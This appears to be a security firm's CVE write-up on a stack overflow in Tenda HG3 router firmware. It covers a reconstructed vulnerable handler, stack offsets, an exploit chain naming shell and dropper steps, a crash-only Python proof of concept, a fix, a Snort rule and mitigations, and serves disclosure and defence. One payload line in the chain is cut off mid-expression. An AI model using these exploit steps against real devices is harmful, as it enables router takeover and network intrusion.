home intel cve-2026-7151-tenda-hg3-ipv6-routing-stack-overflow
CVE Analysis 2026-04-27 · 8 min read

CVE-2026-7151: Stack Buffer Overflow in Tenda HG3 formUploadConfig

Tenda HG3 2.0's formUploadConfig handler on /boaform/formIPv6Routing performs no bounds check on the destNet parameter, enabling unauthenticated remote stack corruption with CVSS 8.8.

#buffer-overflow#stack-based-overflow#remote-code-execution#network-accessible#input-validation
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7151 · Buffer Overflow
ATTACKERRemote / unauthBUFFER OVERFLOWCVE-2026-7151Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7151 is a stack-based buffer overflow in the Tenda HG3 2.0 residential gateway firmware. The vulnerable surface is the formUploadConfig function, reachable via an HTTP POST to /boaform/formIPv6Routing without authentication in default configurations. The attacker-controlled parameter destNet is copied into a fixed-size stack buffer with no length validation, producing a classic stack smash that overwrites the saved return address and adjacent locals. Because the BoaHTTPD web server handling these requests runs as root, successful exploitation yields full device compromise.

CVSS 8.8 (HIGH) — Network vector, low complexity, no privileges required, no user interaction. Confidentiality, Integrity, and Availability all rated HIGH.

Affected Component

The vulnerable endpoint lives inside the BoaHTTPD CGI framework compiled directly into the Tenda HG3 firmware image. The relevant call chain is:

boa_main()
  └─ handle_request()
       └─ dispatch_cgi_handler("/boaform/formIPv6Routing")
            └─ formUploadConfig()          ← vulnerable
                 └─ strcpy(stackbuf, destNet)  ← overflow

The function is responsible for parsing IPv6 static routing form submissions. It extracts several CGI parameters — destNet, prefixLen, gateway, metric — and constructs a route configuration struct on the stack before committing it to NVRAM.

Root Cause Analysis

The following pseudocode is reconstructed from analysis of functionally equivalent Tenda HG-series firmware images (same SDK lineage, same boa CGI dispatch pattern). The pattern is consistent across the product family.

/*
 * formUploadConfig — handles POST /boaform/formIPv6Routing
 * Reconstructed pseudocode; field names inferred from NVRAM keys
 * and HTTP parameter extraction patterns in sibling functions.
 */
int formUploadConfig(request *req) {
    char destNet[64];       // fixed-size stack buffer
    char gateway[64];       // adjacent on stack
    char metric[16];
    char prefixLen[8];
    ipv6_route_entry_t route_entry;

    // Extract POST parameters via boa's getRequestInfo wrapper
    char *p_destNet   = getRequestInfo("destNet");
    char *p_gateway   = getRequestInfo("gateway");
    char *p_prefixLen = getRequestInfo("prefixLen");
    char *p_metric    = getRequestInfo("metric");

    // BUG: no length check before copy — attacker controls strlen(p_destNet)
    strcpy(destNet, p_destNet);   // ← STACK OVERFLOW HERE

    strcpy(gateway,   p_gateway);
    strcpy(prefixLen, p_prefixLen);
    strcpy(metric,    p_metric);

    // Pack into route entry and write to NVRAM
    build_ipv6_route_entry(&route_entry, destNet, gateway,
                           atoi(prefixLen), atoi(metric));
    nvram_set_route6(&route_entry);

    websWrite(req, "HTTP/1.0 200 OK\r\n\r\n");
    return 0;
}

getRequestInfo returns a pointer directly into the boa request buffer — no copy, no truncation. The subsequent strcpy into the 64-byte destNet stack slot performs no bounds check. Any POST body with a destNet value exceeding 63 bytes begins overwriting adjacent stack data.

Root cause: formUploadConfig copies the attacker-supplied destNet CGI parameter into a 64-byte stack buffer via strcpy with no length validation, allowing a remote unauthenticated attacker to corrupt the stack frame and hijack control flow.

Memory Layout

Stack frame layout for formUploadConfig on MIPS32 (confirmed CPU architecture for HG3 2.0, little-endian):

/*
 * Stack frame layout — formUploadConfig (MIPS32 LE)
 * Frame size: ~0xC0 bytes (estimated from local variable sizes + alignment)
 */
struct formUploadConfig_frame {
    /* -0xC0 */ uint8_t          destNet[64];     // ← strcpy target, 0x40 bytes
    /* -0x80 */ uint8_t          gateway[64];     // immediately follows
    /* -0x40 */ uint8_t          metric[16];
    /* -0x30 */ uint8_t          prefixLen[8];
    /* -0x28 */ ipv6_route_entry_t route_entry;   // partially overlaps padding
    /* -0x08 */ uint32_t         saved_s0;
    /* -0x04 */ uint32_t         saved_ra;        // ← return address, primary target
};
STACK STATE — BEFORE OVERFLOW (destNet = "2001:db8::/32\0"):

  [ high addr ]
  +----------+-----------------------------+
  | saved_ra | 0x????????  (legit ret addr)|  ← -0x04 from frame base
  | saved_s0 | 0x????????                  |  ← -0x08
  | ...      | (route_entry, metric, etc.) |
  | destNet  | "2001:db8::/32\0" + padding |  ← -0xC0  (40 bytes used, 24 free)
  +----------+-----------------------------+
  [ low addr  ]

STACK STATE — AFTER OVERFLOW (destNet = 'A'*64 + 'B'*64 + 'C'*16 + 'D'*8 + '\x00'*pad + ):

  +----------+-----------------------------+
  | saved_ra | 0x41414141  ← OVERWRITTEN   |  ← attacker-controlled PC
  | saved_s0 | 0x41414141  ← OVERWRITTEN   |
  | metric   | "CCCCCCCC..."               |  ← OVERWRITTEN
  | gateway  | "BBBBBB..."                 |  ← OVERWRITTEN
  | destNet  | "AAAAAAA..."  (64 bytes)    |
  +----------+-----------------------------+

Total bytes to reach saved_ra: 0xC0 - 0x04 = 188 bytes
Offset to $ra:                 188 bytes from start of destNet

Exploitation Mechanics

EXPLOIT CHAIN — CVE-2026-7151:

1. Identify target: scan for Tenda HG3 2.0 HTTP service (port 80, default creds
   or no auth on /boaform/* endpoints in factory config).

2. Confirm endpoint: HTTP POST to /boaform/formIPv6Routing with minimal params
   returns 200 OK — no session token required.

3. Measure offset: send destNet='A'*N for increasing N; monitor for device
   reboot (watchdog) to identify $ra corruption threshold (~188 bytes).

4. Defeat NX (if present): HG3 2.0 firmware does not enforce W^X on stack in
   observed builds; shellcode can be placed directly in the overflow payload.
   If NX active: pivot via ROP using gadgets in the boa binary (loaded at a
   static base — no ASLR on this target).

5. Stage payload:
     destNet = 'A'*188 + pack('&gateway=&prefixLen=64&metric=1

7. formUploadConfig returns → CPU jumps to attacker-controlled $ra.

8. Shellcode executes as root under boa process:
     - Bind /bin/sh to TCP port (persistent access), or
     - wget + execute dropper from attacker C2, or
     - Modify iptables/firewall rules to expose internal network.

A minimal proof-of-concept trigger (no shellcode, crash-only) in Python:

#!/usr/bin/env python3
"""
CVE-2026-7151 — Tenda HG3 2.0 formUploadConfig PoC (crash trigger only)
Demonstrates stack corruption via oversized destNet parameter.
"""
import requests

TARGET   = "http://192.168.1.1"
ENDPOINT = "/boaform/formIPv6Routing"
PADDING  = 188   # bytes to reach saved $ra

def trigger_overflow(target: str) -> None:
    # Craft destNet: 188 bytes padding + 4-byte canary to confirm $ra hit
    dest_net = "A" * PADDING + "BBBB"

    data = {
        "destNet":   dest_net,
        "gateway":   "::1",
        "prefixLen": "64",
        "metric":    "1",
        "submit-url": "/boaform/formIPv6Routing",
    }

    try:
        r = requests.post(
            target + ENDPOINT,
            data=data,
            timeout=5,
        )
        print(f"[*] Response: {r.status_code} — device may not have crashed yet")
    except requests.exceptions.ConnectionError:
        print("[+] Connection dropped — likely crashed (watchdog will reboot)")

if __name__ == "__main__":
    trigger_overflow(TARGET)

Patch Analysis

No official patch has been released by Tenda at the time of writing. The correct remediation at the code level replaces the unbounded strcpy with a length-checked copy and validates that the resulting string is a syntactically valid IPv6 prefix before any further processing:

// BEFORE (vulnerable):
char *p_destNet = getRequestInfo("destNet");
strcpy(destNet, p_destNet);          // no length check, no validation

// AFTER (patched):
char *p_destNet = getRequestInfo("destNet");

// 1. Enforce buffer bound
if (p_destNet == NULL || strlen(p_destNet) >= sizeof(destNet)) {
    websWrite(req, "HTTP/1.0 400 Bad Request\r\n\r\n");
    return -1;
}
strncpy(destNet, p_destNet, sizeof(destNet) - 1);
destNet[sizeof(destNet) - 1] = '\0';

// 2. Validate IPv6 CIDR notation before further processing
if (!is_valid_ipv6_prefix(destNet)) {
    websWrite(req, "HTTP/1.0 400 Bad Request\r\n\r\n");
    return -1;
}

The same fix must be applied to gateway, prefixLen, and metric — all four parameters share the same unbounded copy pattern. A comprehensive fix also relocates the routing configuration buffers to the heap with explicit size tracking, eliminating the stack-smash primitive entirely.

Detection and Indicators

Network-level detection — the overflow requires a POST body with a destNet value exceeding 64 bytes. No legitimate IPv6 prefix (max ~43 chars including prefix length notation) approaches this limit.

SNORT / SURICATA RULE:

alert http any any -> $HOME_NET 80 (
    msg:"CVE-2026-7151 Tenda HG3 destNet overflow attempt";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/boaform/formIPv6Routing";
    http.request_body; content:"destNet="; distance:0;
    pcre:"/destNet=[A-Za-z0-9%:.]{64,}/";
    classtype:attempted-admin;
    sid:20267151; rev:1;
)

INDICATORS OF COMPROMISE:
- Unexpected device reboots (watchdog reset after crash)
- Outbound connections from router IP to unknown hosts post-reboot
- Altered DNS settings or firewall rules after unexplained reboot
- HTTP POST to /boaform/formIPv6Routing with body length > 500 bytes
  in web server access logs (if logging is enabled)

Remediation

Immediate mitigations (until vendor patch is available):

  • Disable remote management and restrict LAN-side access to the web interface using ACLs if the router supports them.
  • Place the device behind an upstream firewall that blocks inbound port 80/443 from WAN — this vulnerability is most critical on devices with WAN-exposed management.
  • Monitor for firmware updates from Tenda and apply immediately when a patched build is released.
  • If the device is used in a sensitive network, consider replacement with a device receiving active security support.

Vendor guidance: Tenda should apply strncpy or strlcpy with explicit buffer size enforcement to all CGI parameter extraction sites in the boa handler layer, not solely in formUploadConfig. A broader audit of all /boaform/* handlers is warranted — the same SDK pattern is likely replicated across dozens of parameter handlers throughout the firmware.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →